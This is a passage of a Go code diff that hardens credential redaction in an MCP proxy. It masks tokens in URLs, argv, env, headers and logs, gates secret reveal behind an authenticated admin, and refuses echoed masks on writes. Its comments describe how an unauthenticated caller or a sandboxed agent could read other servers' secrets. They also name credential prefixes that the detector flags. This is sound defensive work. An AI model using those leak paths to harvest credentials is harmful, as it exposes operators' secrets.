payloads are built from. It used to be a hand-copied MIRROR of that list, +// which is exactly how `args` and `oauth.extra_params` came to be masked on the +// MCP surface and published in the clear on both of these doors (issue #1148, +// round 4 finding 3); sharing the list but not the value-shaped detector then +// left a credential under a benign env/header name in the clear here (round 6 +// finding 2). Keeping SSE subscribers behind the exact same trust boundary as +// the REST list is load-bearing: the Web UI's mergeServers treats each payload +// as authoritative, so a masked-vs-plaintext mismatch between the two would +// flicker on every delivery. func (r *Runtime) redactServerSecrets(servers []contracts.Server) { cfg := r.Config() if cfg != nil && cfg.RevealSecretHeaders { return } for i := range servers { - if len(servers[i].Headers) > 0 { - servers[i].Headers = oauth.RedactStringHeaders(servers[i].Headers) - } - if len(servers[i].Env) > 0 { - servers[i].Env = oauth.RedactEnvValues(servers[i].Env) - } - if servers[i].URL != "" { - servers[i].URL = oauth.RedactURLQueryParams(servers[i].URL) - } - if servers[i].LastError != "" { - servers[i].LastError = oauth.RedactSensitiveData(servers[i].LastError) - } - if servers[i].Health != nil && servers[i].Health.Detail != "" { - servers[i].Health.Detail = oauth.RedactSensitiveData(servers[i].Health.Detail) - } - if servers[i].Diagnostic != nil && servers[i].Diagnostic.Cause != "" { - servers[i].Diagnostic.Cause = oauth.RedactSensitiveData(servers[i].Diagnostic.Cause) - } + oauth.RedactServerSecretFields(&servers[i]) } } diff --git a/internal/security/mask.go b/internal/security/mask.go index 35320c16c..9721112f6 100644 --- a/internal/security/mask.go +++ b/internal/security/mask.go @@ -12,6 +12,19 @@ const maskedSuffix = "…****" // maskedWhole is the mask for values too short to keep any prefix from. const maskedWhole = "****" +// MaskMarkers are the substrings every MaskValue rendering carries: a value +// long enough to keep a prefix ends in maskedSuffix, a shorter one collapses to +// maskedWhole. +// +// They are exported because the write doors have to RECOGNISE this package's +// renderings — internal/oauth's fail-closed net refuses a client that echoes +// one back, and it must derive the substrings it looks for from the constants +// the renderer is built from rather than keep its own copy beside them (issue +// #1148, round 7 finding 1). +func MaskMarkers() []string { + return []string{maskedSuffix, maskedWhole} +} + // maskPrefixRunes is how much of a detected value survives masking. Four runes // is enough to recognise WHICH credential was flagged (`AKIA…`, `ghp_…`, // `sk-a…`) without being enough to use, and matches the prefix length the diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 5c996b927..93160802a 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3259,12 +3259,17 @@ func (p *MCPProxyServer) handleAddServerFromRegistry(ctx context.Context, reques // Slim, stable projection mirroring the REST AddedServerSummary so every // surface reports the persisted server identically. + // Issue #1148: URL and Args are the two credential-bearing fields of this + // summary (a registry entry can carry `?token=…`, and a user-supplied arg + // vector routinely carries `--api-key …`). Source them from the redacted + // view so the echo cannot republish what the caller just configured. + registryView := redactedServerView(cfg, liveRedaction) summary := contracts.AddedServerSummary{ Name: cfg.Name, Protocol: cfg.Protocol, Command: cfg.Command, - Args: cfg.Args, - URL: cfg.URL, + Args: redactedArgs(cfg.Args, liveRedaction), + URL: viewString(registryView, "url", cfg.URL), Enabled: cfg.Enabled, Quarantined: cfg.Quarantined, } @@ -3416,9 +3421,14 @@ func (p *MCPProxyServer) handleUpstreamServers(ctx context.Context, request mcp. if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: the activity store persists in BBolt, streams over SSE + // and is exported by `mcpproxy activity list`, so the response is + // re-rendered under the AUDIT policy (a fixed marker carrying neither + // the secret's length nor its trailing bytes). One net here covers + // every current and future operation of this built-in. + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3529,9 +3539,10 @@ func (p *MCPProxyServer) handleQuarantineSecurity(ctx context.Context, request m if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: see the matching net in handleUpstreamServers. + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3749,27 +3760,43 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // Enhance server list with connection status and Docker isolation info enhancedServers := make([]map[string]interface{}, len(servers)) - revealHeaders := p.config != nil && p.config.RevealSecretHeaders + // Redact sensitive header values (Authorization, X-API-Key, Cookie, etc.), + // env-var secrets, URL query credentials and argv tokens before surfacing + // them through the MCP tool. An MCP agent inside a sandbox should never be + // able to read another upstream's Bearer token, API key, or URL-embedded + // secret via `upstream_servers list`. + // + // Issue #1148: `reveal_secret_headers` is an operator opt-in for a TRUSTED + // read surface, so it now additionally requires an AUTHENTICATED admin. + // /mcp is unprotected by default, so before this an anonymous caller on + // that endpoint got the raw values the flag was meant to hand the + // operator. CanRevealSecrets is nil-safe: an in-process/stdio caller with + // no context gets masked values rather than admin-by-absence. + revealHeaders := p.config != nil && p.config.RevealSecretHeaders && + auth.AuthContextFromContext(ctx).CanRevealSecrets() for i, server := range servers { - // Redact sensitive header values (Authorization, X-API-Key, Cookie, - // etc.), env-var secrets, and URL query credentials before surfacing - // them through the MCP tool. An MCP agent inside a sandbox should - // never be able to read another upstream's Bearer token, API key, or - // URL-embedded secret via `upstream_servers list`. Operators who - // genuinely need the raw values can set `reveal_secret_headers: true`. - headers := server.Headers - serverURL := server.URL - serverEnv := server.Env + // The secret-bearing fields are sourced from redactedServerView — the + // shared walker over the config's own JSON — rather than from a + // per-field redactor call, so this projection cannot drift from the + // one `list_quarantined` uses. viewField falls back to the raw value + // only for keys ServerConfig omits when empty, which keeps the + // response shape byte-identical to before. + view := redactedServerView(server, liveRedaction) + headers := interface{}(server.Headers) + serverURL := interface{}(server.URL) + serverEnv := interface{}(server.Env) + serverArgs := interface{}(server.Args) if !revealHeaders { - headers = oauth.RedactStringHeaders(server.Headers) - serverEnv = oauth.RedactEnvValues(server.Env) - serverURL = oauth.RedactURLQueryParams(server.URL) + headers = viewField(view, "headers", server.Headers) + serverEnv = viewField(view, "env", server.Env) + serverURL = viewField(view, "url", server.URL) + serverArgs = redactedArgs(server.Args, liveRedaction) } serverMap := map[string]interface{}{ "name": server.Name, "protocol": server.Protocol, "command": server.Command, - "args": server.Args, + "args": serverArgs, "url": serverURL, "env": serverEnv, "headers": headers, @@ -3807,7 +3834,7 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // all) is commonly echoed into the error; scrub it before it // reaches connection_status.last_error and health.detail. if !revealHeaders { - lastError = oauth.RedactSensitiveData(lastError) + lastError = scrubUpstreamText(lastError) } } isConnected = connInfo.State.String() == "connected" @@ -3934,17 +3961,30 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool } } - // Add server-specific isolation config. This block is deliberately - // the RAW per-server override — it is named server_isolation — so - // `enabled` is omitted entirely when the server inherits the global - // setting rather than being flattened to false. The effective state - // lives in applies_to_server / isolation_mode above. + // Add server-specific isolation config. This block is the RAW + // per-server OVERRIDE — it is named server_isolation — so `enabled` + // is omitted entirely when the server inherits the global setting + // rather than being flattened to false. The effective state lives + // in applies_to_server / isolation_mode above. + // + // "Raw override" means the override SET, not raw secrets: issue + // #1148 round 7 finding 3 found this block republishing + // `isolation.extra_args` verbatim in the SAME response that masks + // env, url and args — and `extra_args` is free text an operator + // puts `-e API_KEY=` into. The values are therefore sourced + // from the redacted view, under the same reveal_secret_headers gate + // as every other secret-bearing field on this surface. if server.Isolation != nil { + // viewField keeps the payload SHAPE byte-identical: every + // string field of config.IsolationConfig is `omitempty`, so an + // unset one is absent from the view and falls back to the raw + // (empty) value rather than turning into a JSON null. + isoSource := isolationValues(server.Isolation, revealHeaders) serverIso := map[string]interface{}{ - "image": server.Isolation.Image, - "network_mode": server.Isolation.NetworkMode, - "working_dir": server.Isolation.WorkingDir, - "extra_args": server.Isolation.ExtraArgs, + "image": viewField(isoSource, "image", server.Isolation.Image), + "network_mode": viewField(isoSource, "network_mode", server.Isolation.NetworkMode), + "working_dir": viewField(isoSource, "working_dir", server.Isolation.WorkingDir), + "extra_args": viewField(isoSource, "extra_args", server.Isolation.ExtraArgs), } if server.Isolation.Enabled != nil { serverIso["enabled"] = *server.Isolation.Enabled @@ -3975,10 +4015,14 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool "servers": enhancedServers, "total": len(servers), "docker_status": map[string]interface{}{ - "available": dockerAvailable, - "docker_path": dockerPath, - "global_enabled": dockerIsolationGlobalEnabled, - "isolation_config": p.config.DockerIsolation, + "available": dockerAvailable, + "docker_path": dockerPath, + "global_enabled": dockerIsolationGlobalEnabled, + // The WHOLE global docker_isolation block, including its own + // `extra_args` — which is exactly as credential-bearing as a + // server's, and was published here in the clear beside the masked + // per-server fields (issue #1148, round 7 finding 3). + "isolation_config": globalIsolationView(p.config.DockerIsolation, revealHeaders), }, } @@ -4239,7 +4283,16 @@ func (p *MCPProxyServer) handleListQuarantinedUpstreams(ctx context.Context) (*m } jsonResult, err := json.Marshal(map[string]interface{}{ - "servers": servers, + // Issue #1148: this used to marshal the raw []*config.ServerConfig, so + // env values, header values, oauth.client_secret, URL query + // credentials and argv tokens all left through the MCP surface in the + // clear — to any caller, /mcp being unauthenticated by default — and + // were recorded verbatim into the activity store. + // + // The full (masked) config is still the right payload here: the point + // of inspecting a quarantined server is to see HOW it is configured, + // including WHICH secrets it carries. Only the values go. + "servers": redactedServerViews(servers, liveRedaction), "total": len(servers), // One line per server so "nobody ever scanned this" is visible right // here, next to the decision it should inform. @@ -4389,8 +4442,9 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Try to get connection status for diagnostics if c, exists := p.upstreamManager.GetClient(serverName); exists { - connectionStatus := c.GetConnectionStatus() - return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. This may indicate the server process is not running, there's a network issue, or the server is unstable (see issue #105).", serverName, connectionTimeout, connectionStatus)), nil + // Issue #1148 (round 2, finding 2): the status map carries + // last_error, which echoes the upstream URL with its credentials. + return mcp.NewToolResultError(inspectConnectionTimeoutError(serverName, connectionTimeout, c.GetConnectionStatus())), nil } return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Client was never created, indicating the server may not be properly configured.", serverName, connectionTimeout)), nil @@ -4402,7 +4456,7 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ zap.String("server", serverName), zap.Error(result.err)) supervisor.RecordInspectionFailure(serverName) - return mcp.NewToolResultError(fmt.Sprintf("Connection wait failed: %v", result.err)), nil + return mcp.NewToolResultError(scrubUpstreamText(fmt.Sprintf("Connection wait failed: %v", result.err))), nil } client = result.client @@ -4436,21 +4490,11 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Force disconnect the client to update its state _ = client.Disconnect() - // Provide connection error information instead of failing completely - connectionStatus := client.GetConnectionStatus() - connectionStatus["connection_error"] = err.Error() - - toolsAnalysis = []map[string]interface{}{ - { - "server_name": serverName, - "status": "QUARANTINED_CONNECTION_FAILED", - "message": fmt.Sprintf("Server '%s' is quarantined and connection failed during tool retrieval. This may indicate the server process crashed or disconnected.", serverName), - "connection_info": connectionStatus, - "error_details": err.Error(), - "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", - "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", - }, - } + // Provide connection error information instead of failing + // completely — scrubbed, because both the status map's last_error + // and the raw ListTools error echo the upstream URL with its + // credentials (issue #1148, round 2, finding 2). + toolsAnalysis = inspectConnectionFailedAnalysis(serverName, client.GetConnectionStatus(), err) } else { // Successfully retrieved tools, proceed with security analysis for _, tool := range tools { @@ -4781,6 +4825,17 @@ func (p *MCPProxyServer) handleAddUpstream(ctx context.Context, request mcp.Call } } + // #1148 round 6 (finding 4): on CREATE there is no stored value to bind a + // mask back to, so ANY mask this proxy rendered can only be a placeholder + // an agent copied out of another server's read payload — never a value + // worth persisting. Refusing beats persisting literal text like + // `••••AL (12 chars)` as an argv token or a header, which produces a server + // that fails to connect for a non-obvious reason. REST + // `POST /api/v1/servers` runs the same check, so the two create doors agree. + if err := checkServerWriteMasks("", serverConfig); err != nil { + return mcp.NewToolResultError(err.Error()), nil + } + // Save to storage if err := p.storage.SaveUpstreamServer(serverConfig); err != nil { return mcp.NewToolResultError(fmt.Sprintf("Failed to add upstream: %v", err)), nil @@ -5025,7 +5080,7 @@ func (p *MCPProxyServer) handleUpdateUpstream(ctx context.Context, request mcp.C if err := p.upstreamManager.AddServer(serverID, mergedServer); err != nil { p.logger.Warn("Failed to connect to updated upstream", zap.String("id", serverID), zap.Error(err)) connectionStatus = statusError - connectionMessage = fmt.Sprintf("Failed to update server config: %v", err) + connectionMessage = scrubUpstreamText(fmt.Sprintf("Failed to update server config: %v", err)) } else { // Monitor connection status for 1 minute connectionStatus, connectionMessage = p.monitorConnectionStatus(ctx, name, 1*time.Minute) @@ -5189,7 +5244,15 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest // #872: the read path masks URL query/userinfo secrets; if a caller // echoes the masked url back, restore the stored real secrets so the // mask is never persisted over them (parity with the REST PATCH path). - patch.URL = oauth.UnmaskURL(url, existingServer.URL) + // #1148 round 2: unmaskLiveURL recognises THIS surface's rendering + // first, then defers to oauth.UnmaskURL for a genuinely edited URL. + // #1148 round 4: a mask the per-parameter revert cannot bind is + // REFUSED rather than persisted over the credential. + unmaskedURL, err := unmaskLiveURL(url, existingServer.URL) + if err != nil { + return nil, opts, err + } + patch.URL = unmaskedURL } if protocol := request.GetString("protocol", ""); protocol != "" { patch.Protocol = protocol @@ -5235,6 +5298,18 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(argsJSON), &args); err != nil { return nil, opts, fmt.Errorf("invalid args_json format: %v", err) } + // #1148 round 3: the read path masks credential-shaped argv tokens, + // and unlike env/headers/url there is NO unmask contract for argv — + // an argv slot has no key to bind a stored secret to, and the caller + // controls both the whole vector and `command`, so any revert can be + // steered into relocating the credential (see checkArgvMaskEcho). + // An echoed mask is therefore refused, not reverted: the caller + // resends the real value, so the mask is never restored into an + // attacker-chosen command line and never persisted over the + // credential either. + if err := checkArgvMaskEcho(args, existingServer.Args); err != nil { + return nil, opts, err + } patch.Args = args } @@ -5259,7 +5334,10 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked env value echoed back by the caller. - patch.Env = oauth.UnmaskEnvValues(patch.Env, existingServer.Env) + // #1148 round 2: the live view can mask a value oauth's name rule left + // alone (a vendor-shaped credential under a benign name), so this + // surface's own rendering is recognised first. + patch.Env = oauth.UnmaskEnvValues(unmaskLiveEnvValues(patch.Env, existingServer.Env), existingServer.Env) } // Handle headers JSON string - maps are deep merged with RFC 7396 null-means-remove @@ -5283,7 +5361,8 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked header value echoed back by the caller. - patch.Headers = oauth.UnmaskHeaders(patch.Headers, existingServer.Headers) + // #1148 round 2: see the env note above. + patch.Headers = oauth.UnmaskHeaders(unmaskLiveHeaders(patch.Headers, existingServer.Headers), existingServer.Headers) } // Handle isolation JSON string - deep merge for nested config @@ -5339,6 +5418,13 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(oauthJSON), &oauth); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json format: %v", err) } + // #1148 round 2 (finding 6): list_quarantined renders the WHOLE + // config, so client_secret is masked on the read surface — and + // oauth_json REPLACES the block, so an unedited echo would persist + // the mask over the real secret. Revert it, bound to the field. + if err := unmaskLiveOAuth(&oauth, existingServer.OAuth); err != nil { + return nil, opts, err + } if err := oauth.Validate(); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json: %w", err) } @@ -5346,6 +5432,17 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } + // #1148 round 6: the fail-closed net. Every mask this proxy can bind back + // to the value it was read from has been reverted above; anything still + // carrying one is refused rather than persisted over a live credential. + // This is what covers the fields with no revert (isolation.extra_args) AND + // every field added to config.ServerConfig later — a new field fails CLOSED + // instead of silently round-tripping its own mask into the config. See + // oauth.ServerFieldMaskDecisions. + if err := checkServerWriteMasks("", patch); err != nil { + return nil, opts, err + } + return patch, opts, nil } @@ -5587,7 +5684,13 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe "server_name": name, "lines_requested": lines, "lines_returned": len(logLines), - "log_lines": logLines, + // Issue #1148 (c2): the per-server log is written by mcpproxy AND by + // the child process, and both put credentials in it — the connection + // logger records the upstream URL with its `?token=…`, and an MCP + // server is free to print its own API key. Scrub every line before it + // leaves through the tool response and is recorded into the activity + // store. + "log_lines": scrubUpstreamLines(logLines), "server_status": map[string]interface{}{ "enabled": serverConfig.Enabled, "quarantined": serverConfig.Quarantined, @@ -5597,6 +5700,10 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe // Add connection status if available if client, exists := p.upstreamManager.GetClient(name); exists { connectionStatus := client.GetConnectionStatus() + // last_error commonly echoes the upstream URL, credentials included. + if lastError, ok := connectionStatus["last_error"].(string); ok { + connectionStatus["last_error"] = scrubUpstreamText(lastError) + } result["connection_status"] = connectionStatus } @@ -5875,12 +5982,15 @@ func (p *MCPProxyServer) monitorConnectionStatus(ctx context.Context, serverName case types.StateReady: return "ready", "Server connected and ready" case types.StateError: - return "error", fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + // Issue #1148 (c3): scrubbed like the `last_error` this + // same string feeds in `upstream_servers list` — it lands + // in connection_message and in the activity record. + return "error", scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StatePendingAuth: // Parked awaiting user login (#1013): waiting out the monitor // timeout would just stall the caller — nothing will change // until a human signs in. - return statusError, fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + return statusError, scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StateDisconnected: // If server is explicitly disconnected and enabled is false, return disabled for _, serverConfig := range p.config.Servers { diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 926f256de..5c2d10692 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -1,11 +1,9 @@ package server import ( - "bytes" "encoding/json" "fmt" "strings" - "sync" "github.com/mark3labs/mcp-go/mcp" @@ -263,101 +261,74 @@ func redactedConfigDiff(diff *config.ConfigDiff) map[string]interface{} { // float64 and rendering as 1.048576e+06. On failure the value is returned // unchanged; the walker's default branch then passes it through. func normalizeForRedaction(v interface{}) interface{} { - if v == nil { - return nil - } - encoded, err := json.Marshal(v) - if err != nil { - return v - } - dec := json.NewDecoder(bytes.NewReader(encoded)) - dec.UseNumber() - var out interface{} - if err := dec.Decode(&out); err != nil { - return v - } - return out + return oauth.NormalizeForRedaction(v) } -// redactActivityValue walks a generic JSON value, masking leaves according to -// the key that encloses them. `key` is the enclosing field name (for a slice, -// the name of the slice itself). +// redactionPolicy is the SHARED redaction rule set (oauth.Redaction — which key +// names are sensitive, which values look like credentials, how argv pairs up, +// and how the generic walk descends into a nested payload) as applied at this +// package's doors. +// +// It is an ALIAS, not a wrapper. Issue #1148 round 7 findings 2 and 3 were both +// a door that could not reach the WALK because the walk lived here: the leaf +// rules were already shared, but `RedactServerSecretFields` (REST + SSE) and +// the hand-built isolation projections in `upstream_servers list` each +// re-derived the descent field by field, and each missed +// `isolation.extra_args`. The walk now lives in internal/oauth beside the +// rules — below both internal/server and internal/httpapi in the import graph — +// so every door runs the same code. The one thing that used to be local, the +// activity store's per-leaf size cap, is expressed as oauth.Redaction.Limit. +type redactionPolicy = oauth.Redaction + +// auditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed +// `••••` marker (no length, no trailing bytes — see the file header) and the +// activity-store size cap. +var auditRedaction = oauth.AuditRedaction.WithLimit(activityArgValueLimit) + +// liveRedaction is the policy for the LIVE MCP read surfaces (upstream_servers +// list, quarantine_security list_quarantined). +// +// It keeps oauth.MaskValue's `•••• ( chars)` rendering, and that is +// load-bearing rather than cosmetic: the patch/update path calls +// oauth.UnmaskURL / UnmaskEnvValues / UnmaskHeaders, which recognise exactly +// that rendering when a client echoes a value back. A read-modify-write agent +// that round-tripped an `••••` marker instead would OVERWRITE the real secret +// with the mask string. +// +// It does not cap: a truncated URL or arg is no longer equal to mask(stored), +// so the unmasker would write the truncation through. +var liveRedaction = oauth.LiveRedaction + +// redactActivityValue walks a generic JSON value under the audit policy. func redactActivityValue(key string, v interface{}) interface{} { - switch typed := v.(type) { - case map[string]interface{}: - out := make(map[string]interface{}, len(typed)) - isHeaders := isActivityHeadersKey(key) - for k, val := range typed { - if isHeaders { - if s, ok := val.(string); ok { - // HTTP header semantics: mask by header name. - out[k] = redactActivityHeaderValue(k, s) - continue - } - } - out[k] = redactActivityValue(k, val) - } - return out - case []interface{}: - if isActivityArgvKey(key) { - return redactActivityArgv(typed) - } - out := make([]interface{}, len(typed)) - for i, val := range typed { - out[i] = redactActivityValue(key, val) - } - return out - case string: - return redactActivityString(key, typed) - default: - // Bools, json.Number and nil carry no secrets and stay verbatim. - return v - } + return redactValueWith(key, v, auditRedaction) } -// redactActivityString masks one string leaf. The default policy is the env-var -// rule (oauth.RedactEnvValuesWith over a single pair), which is the package's -// single source of truth for "does this key name look like it holds a secret": -// it masks sensitive-looking keys, passes ${keyring:…}/${env:…} references -// through, URL-redacts connection strings, and runs RedactSensitiveData over -// everything else as defence in depth. Over-masking a harmless field is the safe -// direction; ordinary configuration (protocol, command, LOG_LEVEL, an image -// named python:3.12) stays readable. -// -// Issue #1146, review round 3 — the lesson from the argv leak, applied to EVERY -// leaf: a key name is never the only rule. `--endpoint=ghp_…`, a credential -// under a header name no matcher recognises, a token pasted into a field nobody -// thought of — each is invisible to name matching and obvious to the -// value-shaped detector. So the name rule decides first (it is what keeps the -// record readable and says WHICH credential moved), and whatever it passes -// through is then offered to the detector. A value the name rule already masked -// is inert by the time the detector sees it. -// -// The mask is oauth.AuditMaskValue, not oauth.MaskValue — see the file header. -func redactActivityString(key, s string) string { - switch { - case isActivityHeadersKey(key): - return redactActivityHeaderValue(key, s) - case strings.EqualFold(key, "url"): - return capActivityValue(maskDetectedSecrets(oauth.RedactURLQueryParamsWith(s, oauth.AuditMaskValue))) - default: - named := oauth.RedactEnvValuesWith(map[string]string{key: s}, oauth.AuditMaskValue)[key] - return capActivityValue(maskDetectedSecrets(named)) - } +// redactValueWith walks a generic JSON value, masking leaves according to the +// key that encloses them. `key` is the enclosing field name (for a slice, the +// name of the slice itself). +func redactValueWith(key string, v interface{}, r redactionPolicy) interface{} { + return r.Value(key, v) } -// redactActivityHeaderValue masks one HTTP header leaf, judged by the header -// NAME first and then by the value's own shape. -// -// Both rules are needed and neither is sufficient. oauth's name matcher cannot -// enumerate every custom credential header (issue #1146 round 3 widened it to -// split CamelCase, which is what recovers X-AuthToken / X-SecretValue, but -// `X-Zyx` holding a bearer token is still unknowable from the name); the -// detector cannot recognise an opaque value with no credential shape. Running -// both is the only combination that closes each other's gap. -func redactActivityHeaderValue(name, value string) string { - masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, oauth.AuditMaskValue)[name] - return capActivityValue(maskDetectedSecrets(masked)) +// redactStringWith masks one string leaf under the shared leaf rule, then +// applies the policy's size cap. `key` is the enclosing field name ("" for a +// leaf with no key, such as a positional argv token). +func redactStringWith(key, s string, r redactionPolicy) string { + return r.CapString(r.Leaf(key, s)) +} + +// redactEnvValueWith masks one environment-variable leaf, reproducing +// oauth.maskedEnvValue exactly so oauth.UnmaskEnvValues can recognise the +// rendering if a client echoes it back on the write path. +func redactEnvValueWith(name, value string, r redactionPolicy) string { + return r.CapString(r.EnvValue(name, value)) +} + +// redactHeaderValueWith masks one HTTP header leaf, judged by the header NAME +// first and then by the value's own shape. +func redactHeaderValueWith(name, value string, r redactionPolicy) string { + return r.CapString(r.HeaderValue(name, value)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -379,116 +350,8 @@ func redactActivityConfigValues(values map[string]interface{}) map[string]interf return out } -// isActivityArgvKey reports whether a slice is a command-line argument vector. -// Covers the `args` config field (config.MergeServerConfig's diff) and the -// `args_json` tool parameter (the suffix is trimmed before the walk). -func isActivityArgvKey(key string) bool { - return strings.EqualFold(key, "args") -} - -// redactActivityArgv masks a command-line argument vector. -// -// Issue #1146, review round: argv was the one leak the key-driven walker could -// not see. An argv token has no enclosing key — the slice branch recursed with -// the PARENT key ("args"), so every element reached redactActivityString("args", -// elem) and fell through unmasked. Passing a credential as an argv token -// (`uvx mcp-foo --api-key sk-live-…`) is one of the commonest MCP server config -// shapes, so the record persisted in BBolt, the SSE payload and -// `mcpproxy activity list` all carried it in the clear. -// -// Two rules, because argv secrets announce themselves in two ways: -// -// - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. -// Delegated to redactActivityString with the de-dashed flag as the key, so -// the same single source of truth the env map uses decides, and the flag -// itself stays readable (it is the audit signal: WHICH credential moved). -// - The VALUE is recognisably a credential on its own — an AWS key, a GitHub -// token, a PEM block, a high-entropy blob — wherever it sits. That is what -// internal/security's detector is for, so it is reused rather than -// re-invented as another regex here. -// -// BOTH rules run on BOTH spellings. Round 3 found the inline form consulting -// only the first: `--endpoint=ghp_…` names nothing sensitive, so nothing ever -// looked at the value and the token was stored in the clear, while the -// identical `--endpoint ghp_…` was masked. redactActivityString now ends in the -// detector for every leaf, which is what keeps the two spellings in step by -// construction rather than by two call sites remembering to agree. -// -// Everything else round-trips verbatim: package names, subcommands, paths and -// ports are what make the record useful. -func redactActivityArgv(argv []interface{}) []interface{} { - out := make([]interface{}, len(argv)) - maskNext := false - - for i, item := range argv { - s, ok := item.(string) - if !ok { - // A non-string element carries no flag semantics; walk it with no - // enclosing key and reset the pairing. - out[i] = redactActivityValue("", item) - maskNext = false - continue - } - - if maskNext { - out[i] = capActivityValue(oauth.AuditMaskValue(s)) - maskNext = false - continue - } - - if flag, value, inline := strings.Cut(s, "="); inline && isArgvFlag(flag) { - out[i] = capActivityValue(flag + "=" + redactActivityString(argvFlagKey(flag), value)) - continue - } - - out[i] = capActivityValue(maskDetectedSecrets(s)) - maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) - } - - return out -} - -// isArgvFlag reports whether a token is an option rather than a positional -// argument. A bare "-" or "--" is a convention, not a flag. -func isArgvFlag(token string) bool { - return strings.HasPrefix(token, "-") && strings.Trim(token, "-") != "" -} - -// argvFlagKey turns `--api-key` into the key name the env/header redactors -// match on. -func argvFlagKey(flag string) string { - return strings.TrimLeft(flag, "-") -} - -// activitySecretMasker is the value-shaped secret masker used for argv tokens, -// which have no key to be judged by. -// -// It is built from the DEFAULT detection config rather than the running one on -// purpose: masking here is a property of the audit STORE, and an operator who -// turned sensitive-data detection off for the call path must not thereby cause -// credentials to be written to that store in the clear. (Detector.MaskText -// ignores the `enabled` flag for the same reason.) -var activitySecretMasker = sync.OnceValue(func() *security.Detector { - return security.NewDetector(config.DefaultSensitiveDataDetectionConfig()) -}) - -// maskDetectedSecrets masks any credential the detector recognises inside one -// argv token, leaving text it does not recognise untouched. +// maskDetectedSecrets masks any credential the value-shaped detector +// recognises, leaving text it does not recognise untouched. func maskDetectedSecrets(s string) string { - masked, _ := activitySecretMasker().MaskText(s) - return masked -} - -// isActivityHeadersKey reports whether a map should be masked with HTTP-header -// semantics. Covers both the `headers` config field and the `headers_json` tool -// parameter (the suffix is trimmed before the walk). -func isActivityHeadersKey(key string) bool { - return strings.EqualFold(key, "headers") -} - -func capActivityValue(s string) string { - if len(s) <= activityArgValueLimit { - return s - } - return s[:safeTruncateBytes(s, activityArgValueLimit)] + activityErrorMessageEllipsis + return oauth.MaskDetectedSecrets(s) } diff --git a/internal/server/mcp_auth_anonymous_test.go b/internal/server/mcp_auth_anonymous_test.go new file mode 100644 index 000000000..418dd946c --- /dev/null +++ b/internal/server/mcp_auth_anonymous_test.go @@ -0,0 +1,115 @@ +package server + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" +) + +func newAuthMiddlewareTestServer(t *testing.T, apiKey string) *Server { + t.Helper() + + cfg := 